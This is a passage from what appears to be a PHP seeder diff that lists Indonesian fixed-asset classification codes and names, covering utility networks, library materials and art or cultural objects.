'sub_kelompok' => '01', + 'sub_sub_kelompok' => '000', + 'nama' => 'JARINGAN TRANSMISI', + ], + [ + 'id_aset' => 3966, + 'golongan' => '5', + 'bidang' => '04', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '001', + 'nama' => 'JARINGAN TRANSMISI TEGANGAN DIATAS 300 KVA', + ], + [ + 'id_aset' => 3967, + 'golongan' => '5', + 'bidang' => '04', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '002', + 'nama' => 'JARINGAN TRANSMISI TEGANGAN 100 S/D 300 KVA', + ], + [ + 'id_aset' => 3968, + 'golongan' => '5', + 'bidang' => '04', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '003', + 'nama' => 'JARINGAN TRANSMISI TEGANGAN DIBAWAH 100 KVA', + ], + [ + 'id_aset' => 3969, + 'golongan' => '5', + 'bidang' => '04', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '999', + 'nama' => 'JARINGAN TRANSMISI LAINNYA', + ], + [ + 'id_aset' => 3970, + 'golongan' => '5', + 'bidang' => '04', + 'kelompok' => '02', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '000', + 'nama' => 'JARINGAN DISTRIBUSI', + ], + [ + 'id_aset' => 3971, + 'golongan' => '5', + 'bidang' => '04', + 'kelompok' => '02', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '001', + 'nama' => 'JARINGAN DISTRIBUSI TEGANGAN DIATAS 20 KVA', + ], + [ + 'id_aset' => 3972, + 'golongan' => '5', + 'bidang' => '04', + 'kelompok' => '02', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '002', + 'nama' => 'JARINGAN DISTRIBUSI TEGANGAN 1 S/D 20 KVA', + ], + [ + 'id_aset' => 3973, + 'golongan' => '5', + 'bidang' => '04', + 'kelompok' => '02', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '003', + 'nama' => 'JARINGAN DISTRIBUSI TEGANGAN DIBAWAH 1 KVA', + ], + [ + 'id_aset' => 3974, + 'golongan' => '5', + 'bidang' => '04', + 'kelompok' => '02', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '999', + 'nama' => 'JARINGAN DISTRIBUSI LAINNYA', + ], + [ + 'id_aset' => 3975, + 'golongan' => '5', + 'bidang' => '04', + 'kelompok' => '02', + 'sub_kelompok' => '99', + 'sub_sub_kelompok' => '000', + 'nama' => 'JARINGAN LISTRIK LAINNYA', + ], + [ + 'id_aset' => 3976, + 'golongan' => '5', + 'bidang' => '04', + 'kelompok' => '02', + 'sub_kelompok' => '99', + 'sub_sub_kelompok' => '999', + 'nama' => 'JARINGAN LISTRIK LAINNYA', + ], + [ + 'id_aset' => 3977, + 'golongan' => '5', + 'bidang' => '04', + 'kelompok' => '03', + 'sub_kelompok' => '00', + 'sub_sub_kelompok' => '000', + 'nama' => 'JARINGAN TELEPON', + ], + [ + 'id_aset' => 3978, + 'golongan' => '5', + 'bidang' => '04', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '000', + 'nama' => 'JARINGAN TELEPON DIATAS TANAH', + ], + [ + 'id_aset' => 3979, + 'golongan' => '5', + 'bidang' => '04', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '001', + 'nama' => 'JARINGAN TELEPON DIATAS TANAH KAPASITAS KECIL', + ], + [ + 'id_aset' => 3980, + 'golongan' => '5', + 'bidang' => '04', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '002', + 'nama' => 'JARINGAN TELEPON DIATAS TANAH KAPASITAS SEDANG', + ], + [ + 'id_aset' => 3981, + 'golongan' => '5', + 'bidang' => '04', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '003', + 'nama' => 'JARINGAN TELEPON DIATAS TANAH KAPASITAS BESAR', + ], + [ + 'id_aset' => 3982, + 'golongan' => '5', + 'bidang' => '04', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '999', + 'nama' => 'JARINGAN TELEPON DIATAS TANAH LAINNYA', + ], + [ + 'id_aset' => 3983, + 'golongan' => '5', + 'bidang' => '04', + 'kelompok' => '03', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '000', + 'nama' => 'JARINGAN TELEPON DIBAWAH TANAH', + ], + [ + 'id_aset' => 3984, + 'golongan' => '5', + 'bidang' => '04', + 'kelompok' => '03', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '001', + 'nama' => 'JARINGAN TELEPON DIBAWAH TANAH KAPASITAS KECIL', + ], + [ + 'id_aset' => 3985, + 'golongan' => '5', + 'bidang' => '04', + 'kelompok' => '03', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '002', + 'nama' => 'JARINGAN TELEPON DIBAWAH TANAH KAPASITAS SEDANG', + ], + [ + 'id_aset' => 3986, + 'golongan' => '5', + 'bidang' => '04', + 'kelompok' => '03', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '003', + 'nama' => 'JARINGAN TELEPON DIBAWAH TANAH KAPASITAS BESAR', + ], + [ + 'id_aset' => 3987, + 'golongan' => '5', + 'bidang' => '04', + 'kelompok' => '03', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '999', + 'nama' => 'JARINGAN TELEPON DIBAWAH TANAH LAINNYA', + ], + [ + 'id_aset' => 3988, + 'golongan' => '5', + 'bidang' => '04', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '000', + 'nama' => 'JARINGAN TELEPON DIDALAM AIR', + ], + [ + 'id_aset' => 3989, + 'golongan' => '5', + 'bidang' => '04', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '001', + 'nama' => 'JARINGAN TELEPON DIDALAM AIR KAPASITAS KECIL', + ], + [ + 'id_aset' => 3990, + 'golongan' => '5', + 'bidang' => '04', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '002', + 'nama' => 'JARINGAN TELEPON DIDALAM AIR KAPASITAS SEDANG', + ], + [ + 'id_aset' => 3991, + 'golongan' => '5', + 'bidang' => '04', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '003', + 'nama' => 'JARINGAN TELEPON DIDALAM AIR KAPASITAS BESAR', + ], + [ + 'id_aset' => 3992, + 'golongan' => '5', + 'bidang' => '04', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '999', + 'nama' => 'JARINGAN TELEPON DIDALAM AIR LAINNYA', + ], + [ + 'id_aset' => 3993, + 'golongan' => '5', + 'bidang' => '04', + 'kelompok' => '03', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '000', + 'nama' => 'JARINGAN DENGAN MEDIA UDARA', + ], + [ + 'id_aset' => 3994, + 'golongan' => '5', + 'bidang' => '04', + 'kelompok' => '03', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '001', + 'nama' => 'JARINGAN SATELIT', + ], + [ + 'id_aset' => 3995, + 'golongan' => '5', + 'bidang' => '04', + 'kelompok' => '03', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '002', + 'nama' => 'JARINGAN RADIO', + ], + [ + 'id_aset' => 3996, + 'golongan' => '5', + 'bidang' => '04', + 'kelompok' => '03', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '999', + 'nama' => 'JARINGAN DENGAN MEDIA UDARA LAINNYA', + ], + [ + 'id_aset' => 3997, + 'golongan' => '5', + 'bidang' => '04', + 'kelompok' => '03', + 'sub_kelompok' => '99', + 'sub_sub_kelompok' => '000', + 'nama' => 'JARINGAN TELEPON LAINNYA', + ], + [ + 'id_aset' => 3998, + 'golongan' => '5', + 'bidang' => '04', + 'kelompok' => '03', + 'sub_kelompok' => '99', + 'sub_sub_kelompok' => '999', + 'nama' => 'JARINGAN TELEPON LAINNYA', + ], + [ + 'id_aset' => 3999, + 'golongan' => '5', + 'bidang' => '04', + 'kelompok' => '04', + 'sub_kelompok' => '00', + 'sub_sub_kelompok' => '000', + 'nama' => 'JARINGAN GAS', + ], + [ + 'id_aset' => 4000, + 'golongan' => '5', + 'bidang' => '04', + 'kelompok' => '04', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '000', + 'nama' => 'JARINGAN PIPA GAS TRANSMISI', + ], + [ + 'id_aset' => 4001, + 'golongan' => '5', + 'bidang' => '04', + 'kelompok' => '04', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '001', + 'nama' => 'JARINGAN PIPA BAJA', + ], + [ + 'id_aset' => 4002, + 'golongan' => '5', + 'bidang' => '04', + 'kelompok' => '04', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '999', + 'nama' => 'JARINGAN PIPA GAS TRANSMISI LAINNYA', + ], + [ + 'id_aset' => 4003, + 'golongan' => '5', + 'bidang' => '04', + 'kelompok' => '04', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '000', + 'nama' => 'JARINGAN PIPA DISTRIBUSI', + ], + [ + 'id_aset' => 4004, + 'golongan' => '5', + 'bidang' => '04', + 'kelompok' => '04', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '001', + 'nama' => 'JARINGAN PIPA DISTRIBUSI TEKANAN TINGGI', + ], + [ + 'id_aset' => 4005, + 'golongan' => '5', + 'bidang' => '04', + 'kelompok' => '04', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '002', + 'nama' => 'JARINGAN PIPA DISTRIBUSI TEKANAN MENENGAH PIPA BAJA', + ], + [ + 'id_aset' => 4006, + 'golongan' => '5', + 'bidang' => '04', + 'kelompok' => '04', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '003', + 'nama' => 'JARINGAN PIPA DISTRIBUSI TEKANAN MENENGAH PIPA PE', + ], + [ + 'id_aset' => 4007, + 'golongan' => '5', + 'bidang' => '04', + 'kelompok' => '04', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '004', + 'nama' => 'JARINGAN PIPA DISTRIBUSI TEKANAN RENDAH PIPA BAJA', + ], + [ + 'id_aset' => 4008, + 'golongan' => '5', + 'bidang' => '04', + 'kelompok' => '04', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '005', + 'nama' => 'JARINGAN PIPA DISTRIBUSI TEKANAN RENDAH PIPA PC', + ], + [ + 'id_aset' => 4009, + 'golongan' => '5', + 'bidang' => '04', + 'kelompok' => '04', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '999', + 'nama' => 'JARINGAN PIPA DISTRIBUSI LAINNYA', + ], + [ + 'id_aset' => 4010, + 'golongan' => '5', + 'bidang' => '04', + 'kelompok' => '04', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '000', + 'nama' => 'JARINGAN PIPA DINAS', + ], + [ + 'id_aset' => 4011, + 'golongan' => '5', + 'bidang' => '04', + 'kelompok' => '04', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '001', + 'nama' => 'JARINGAN PIPA DINAS PIPA BAJA', + ], + [ + 'id_aset' => 4012, + 'golongan' => '5', + 'bidang' => '04', + 'kelompok' => '04', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '002', + 'nama' => 'JARINGAN PIPA DINAS PIPA PE', + ], + [ + 'id_aset' => 4013, + 'golongan' => '5', + 'bidang' => '04', + 'kelompok' => '04', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '999', + 'nama' => 'JARINGAN PIPA DINAS LAINNYA', + ], + [ + 'id_aset' => 4014, + 'golongan' => '5', + 'bidang' => '04', + 'kelompok' => '04', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '000', + 'nama' => 'JARINGAN BBM', + ], + [ + 'id_aset' => 4015, + 'golongan' => '5', + 'bidang' => '04', + 'kelompok' => '04', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '001', + 'nama' => 'JARINGAN BBM BENSIN', + ], + [ + 'id_aset' => 4016, + 'golongan' => '5', + 'bidang' => '04', + 'kelompok' => '04', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '002', + 'nama' => 'JARINGAN BBM SOLAR', + ], + [ + 'id_aset' => 4017, + 'golongan' => '5', + 'bidang' => '04', + 'kelompok' => '04', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '003', + 'nama' => 'JARINGAN BBM MINYAK TANAH', + ], + [ + 'id_aset' => 4018, + 'golongan' => '5', + 'bidang' => '04', + 'kelompok' => '04', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '999', + 'nama' => 'JARINGAN BBM LAINNYA', + ], + [ + 'id_aset' => 4019, + 'golongan' => '5', + 'bidang' => '04', + 'kelompok' => '04', + 'sub_kelompok' => '99', + 'sub_sub_kelompok' => '000', + 'nama' => 'JARINGAN GAS LAINNYA', + ], + [ + 'id_aset' => 4020, + 'golongan' => '5', + 'bidang' => '04', + 'kelompok' => '04', + 'sub_kelompok' => '99', + 'sub_sub_kelompok' => '999', + 'nama' => 'JARINGAN GAS LAINNYA', + ], + [ + 'id_aset' => 4021, + 'golongan' => '6', + 'bidang' => '00', + 'kelompok' => '00', + 'sub_kelompok' => '00', + 'sub_sub_kelompok' => '000', + 'nama' => 'ASET TETAP LAINNYA', + ], + [ + 'id_aset' => 4022, + 'golongan' => '6', + 'bidang' => '01', + 'kelompok' => '00', + 'sub_kelompok' => '00', + 'sub_sub_kelompok' => '000', + 'nama' => 'BAHAN PERPUSTAKAAN', + ], + [ + 'id_aset' => 4023, + 'golongan' => '6', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '00', + 'sub_sub_kelompok' => '000', + 'nama' => 'BAHAN PERPUSTAKAAN TERCETAK', + ], + [ + 'id_aset' => 4024, + 'golongan' => '6', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '000', + 'nama' => 'BUKU', + ], + [ + 'id_aset' => 4025, + 'golongan' => '6', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '001', + 'nama' => 'MONOGRAF', + ], + [ + 'id_aset' => 4026, + 'golongan' => '6', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '002', + 'nama' => 'REFERENSI', + ], + [ + 'id_aset' => 4027, + 'golongan' => '6', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '999', + 'nama' => 'BUKU LAINNYA', + ], + [ + 'id_aset' => 4028, + 'golongan' => '6', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '000', + 'nama' => 'SERIAL', + ], + [ + 'id_aset' => 4029, + 'golongan' => '6', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '001', + 'nama' => 'SURAT KABAR', + ], + [ + 'id_aset' => 4030, + 'golongan' => '6', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '002', + 'nama' => 'MAJALAH', + ], + [ + 'id_aset' => 4031, + 'golongan' => '6', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '003', + 'nama' => 'BULETIN', + ], + [ + 'id_aset' => 4032, + 'golongan' => '6', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '004', + 'nama' => 'LAPORAN', + ], + [ + 'id_aset' => 4033, + 'golongan' => '6', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '999', + 'nama' => 'SERIAL LAINNYA', + ], + [ + 'id_aset' => 4034, + 'golongan' => '6', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '99', + 'sub_sub_kelompok' => '000', + 'nama' => 'TERCETAK LAINNYA', + ], + [ + 'id_aset' => 4035, + 'golongan' => '6', + 'bidang' => '01', + 'kelompok' => '01', + 'sub_kelompok' => '99', + 'sub_sub_kelompok' => '999', + 'nama' => 'BAHAN PERPUSTAKAAN TERCETAK LAINNYA', + ], + [ + 'id_aset' => 4036, + 'golongan' => '6', + 'bidang' => '01', + 'kelompok' => '02', + 'sub_kelompok' => '00', + 'sub_sub_kelompok' => '000', + 'nama' => 'BAHAN PERPUSTAKAAN TEREKAM DAN BENTUK MIKRO', + ], + [ + 'id_aset' => 4037, + 'golongan' => '6', + 'bidang' => '01', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '000', + 'nama' => 'AUDIO VISUAL', + ], + [ + 'id_aset' => 4038, + 'golongan' => '6', + 'bidang' => '01', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '001', + 'nama' => 'KASET', + ], + [ + 'id_aset' => 4039, + 'golongan' => '6', + 'bidang' => '01', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '002', + 'nama' => 'VIDEO', + ], + [ + 'id_aset' => 4040, + 'golongan' => '6', + 'bidang' => '01', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '003', + 'nama' => 'CD/VCD/DVD/LD', + ], + [ + 'id_aset' => 4041, + 'golongan' => '6', + 'bidang' => '01', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '004', + 'nama' => 'PITA FILM', + ], + [ + 'id_aset' => 4042, + 'golongan' => '6', + 'bidang' => '01', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '005', + 'nama' => 'PITA SUARA', + ], + [ + 'id_aset' => 4043, + 'golongan' => '6', + 'bidang' => '01', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '006', + 'nama' => 'PIRINGAN HITAM', + ], + [ + 'id_aset' => 4044, + 'golongan' => '6', + 'bidang' => '01', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '028', + 'nama' => 'PETA DIGITAL', + ], + [ + 'id_aset' => 4045, + 'golongan' => '6', + 'bidang' => '01', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '999', + 'nama' => 'AUDIO VISUAL LAINNYA', + ], + [ + 'id_aset' => 4046, + 'golongan' => '6', + 'bidang' => '01', + 'kelompok' => '02', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '000', + 'nama' => 'BENTUK MIKRO (MICROFORM)', + ], + [ + 'id_aset' => 4047, + 'golongan' => '6', + 'bidang' => '01', + 'kelompok' => '02', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '001', + 'nama' => 'MIKROFILM', + ], + [ + 'id_aset' => 4048, + 'golongan' => '6', + 'bidang' => '01', + 'kelompok' => '02', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '002', + 'nama' => 'MIKROFISCH', + ], + [ + 'id_aset' => 4049, + 'golongan' => '6', + 'bidang' => '01', + 'kelompok' => '02', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '003', + 'nama' => 'SLIDE', + ], + [ + 'id_aset' => 4050, + 'golongan' => '6', + 'bidang' => '01', + 'kelompok' => '02', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '999', + 'nama' => 'BENTUK MIKRO/MIKROFORM LAINNYA', + ], + [ + 'id_aset' => 4051, + 'golongan' => '6', + 'bidang' => '01', + 'kelompok' => '02', + 'sub_kelompok' => '99', + 'sub_sub_kelompok' => '000', + 'nama' => 'TEREKAM DAN BENTUK MIKRO LAINNYA', + ], + [ + 'id_aset' => 4052, + 'golongan' => '6', + 'bidang' => '01', + 'kelompok' => '02', + 'sub_kelompok' => '99', + 'sub_sub_kelompok' => '999', + 'nama' => 'BAHAN PERPUSTAKAAN TEREKAM DAN BENTUK MIKRO LAINNYA', + ], + [ + 'id_aset' => 4053, + 'golongan' => '6', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '00', + 'sub_sub_kelompok' => '000', + 'nama' => '\"KARTOGRAFI', + ], + [ + 'id_aset' => 4054, + 'golongan' => '6', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '000', + 'nama' => 'BAHAN KARTOGRAFI', + ], + [ + 'id_aset' => 4055, + 'golongan' => '6', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '001', + 'nama' => 'PETA (MAP)', + ], + [ + 'id_aset' => 4056, + 'golongan' => '6', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '002', + 'nama' => 'ATLAS', + ], + [ + 'id_aset' => 4057, + 'golongan' => '6', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '003', + 'nama' => 'BLUE PRINT', + ], + [ + 'id_aset' => 4058, + 'golongan' => '6', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '004', + 'nama' => 'BOLA DUNIA (GLOBE)', + ], + [ + 'id_aset' => 4059, + 'golongan' => '6', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '999', + 'nama' => 'BAHAN KARTOGRAFI LAINNYA', + ], + [ + 'id_aset' => 4060, + 'golongan' => '6', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '000', + 'nama' => 'NASKAH (MANUSKRIP) / ASLI', + ], + [ + 'id_aset' => 4061, + 'golongan' => '6', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '001', + 'nama' => 'NASKAH/MANUSKRIP BERBAHAN KERTAS', + ], + [ + 'id_aset' => 4062, + 'golongan' => '6', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '002', + 'nama' => 'NASKAH/MANUSKRIP BERBAHAN DAUN', + ], + [ + 'id_aset' => 4063, + 'golongan' => '6', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '003', + 'nama' => 'NASKAH/MANUSKRIP BERBAHAN KAYU', + ], + [ + 'id_aset' => 4064, + 'golongan' => '6', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '004', + 'nama' => 'NASKAH/MANUSKRIP BERBAHAN BAMBU', + ], + [ + 'id_aset' => 4065, + 'golongan' => '6', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '005', + 'nama' => 'NASKAH/MANUSKRIP BERBAHAN KULIT KAYU', + ], + [ + 'id_aset' => 4066, + 'golongan' => '6', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '006', + 'nama' => 'NASKAH/MANUSKRIP BERBAHAN KULIT BINATANG', + ], + [ + 'id_aset' => 4067, + 'golongan' => '6', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '007', + 'nama' => 'NASKAH/MANUSKRIP BERBAHAN TULANG/TANDUK', + ], + [ + 'id_aset' => 4068, + 'golongan' => '6', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '008', + 'nama' => 'NASKAH/MANUSKRIP BERBAHAN TEMPURUNG', + ], + [ + 'id_aset' => 4069, + 'golongan' => '6', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '999', + 'nama' => 'NASKAH/MANUSKRIP BERBAHAN LAINNYA', + ], + [ + 'id_aset' => 4070, + 'golongan' => '6', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '000', + 'nama' => 'LUKISAN DAN UKIRAN', + ], + [ + 'id_aset' => 4071, + 'golongan' => '6', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '001', + 'nama' => 'LUKISAN KANVAS', + ], + [ + 'id_aset' => 4072, + 'golongan' => '6', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '002', + 'nama' => '\"LUKISAN BATU', + ], + [ + 'id_aset' => 4073, + 'golongan' => '6', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '003', + 'nama' => 'UKIRAN KAYU DAN SEJENISNYA', + ], + [ + 'id_aset' => 4074, + 'golongan' => '6', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '004', + 'nama' => 'UKIRAN LOGAM DAN SEJENISNYA', + ], + [ + 'id_aset' => 4075, + 'golongan' => '6', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '005', + 'nama' => 'UKIRAN BATU DAN SEJENISNYA', + ], + [ + 'id_aset' => 4076, + 'golongan' => '6', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '999', + 'nama' => 'UKIRAN DAN LUKISAN LAINNYA', + ], + [ + 'id_aset' => 4077, + 'golongan' => '6', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '99', + 'sub_sub_kelompok' => '000', + 'nama' => '\"KARTOGRAFI', + ], + [ + 'id_aset' => 4078, + 'golongan' => '6', + 'bidang' => '01', + 'kelompok' => '03', + 'sub_kelompok' => '99', + 'sub_sub_kelompok' => '999', + 'nama' => '\"KARTOGRAFI', + ], + [ + 'id_aset' => 4079, + 'golongan' => '6', + 'bidang' => '02', + 'kelompok' => '00', + 'sub_kelompok' => '00', + 'sub_sub_kelompok' => '000', + 'nama' => 'BARANG BERCORAK KESENIAN/KEBUDAYAAN/OLAHRAGA', + ], + [ + 'id_aset' => 4080, + 'golongan' => '6', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '00', + 'sub_sub_kelompok' => '000', + 'nama' => 'BARANG BERCORAK KESENIAN', + ], + [ + 'id_aset' => 4081, + 'golongan' => '6', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '000', + 'nama' => 'ALAT MUSIK', + ], + [ + 'id_aset' => 4082, + 'golongan' => '6', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '001', + 'nama' => 'ALAT MUSIK TRADISIONAL/DAERAH', + ], + [ + 'id_aset' => 4083, + 'golongan' => '6', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '002', + 'nama' => 'ALAT MUSIK MODERN/BAND', + ], + [ + 'id_aset' => 4084, + 'golongan' => '6', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '999', + 'nama' => 'ALAT MUSIK LAINNYA', + ], + [ + 'id_aset' => 4085, + 'golongan' => '6', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '000', + 'nama' => 'LUKISAN', + ], + [ + 'id_aset' => 4086, + 'golongan' => '6', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '001', + 'nama' => 'LUKISAN CAT AIR', + ], + [ + 'id_aset' => 4087, + 'golongan' => '6', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '002', + 'nama' => 'SULAMAN / TEMPELAN', + ], + [ + 'id_aset' => 4088, + 'golongan' => '6', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '003', + 'nama' => 'LUKISAN CAT MINYAK', + ], + [ + 'id_aset' => 4089, + 'golongan' => '6', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '004', + 'nama' => 'LUKISAN BULU', + ], + [ + 'id_aset' => 4090, + 'golongan' => '6', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '005', + 'nama' => 'SENI RELIEF', + ], + [ + 'id_aset' => 4091, + 'golongan' => '6', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '999', + 'nama' => 'LUKISAN LAINNYA', + ], + [ + 'id_aset' => 4092, + 'golongan' => '6', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '000', + 'nama' => 'ALAT PERAGA KESENIAN', + ], + [ + 'id_aset' => 4093, + 'golongan' => '6', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '001', + 'nama' => 'WAYANG GOLEK', + ], + [ + 'id_aset' => 4094, + 'golongan' => '6', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '002', + 'nama' => 'WAYANG KULIT', + ], + [ + 'id_aset' => 4095, + 'golongan' => '6', + 'bidang' => '02', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '999', + 'nama' => 'ALAT PERAGA KESENIAN LAINNYA', + ], + [ + 'id_aset' => 4096, + 'golongan' => 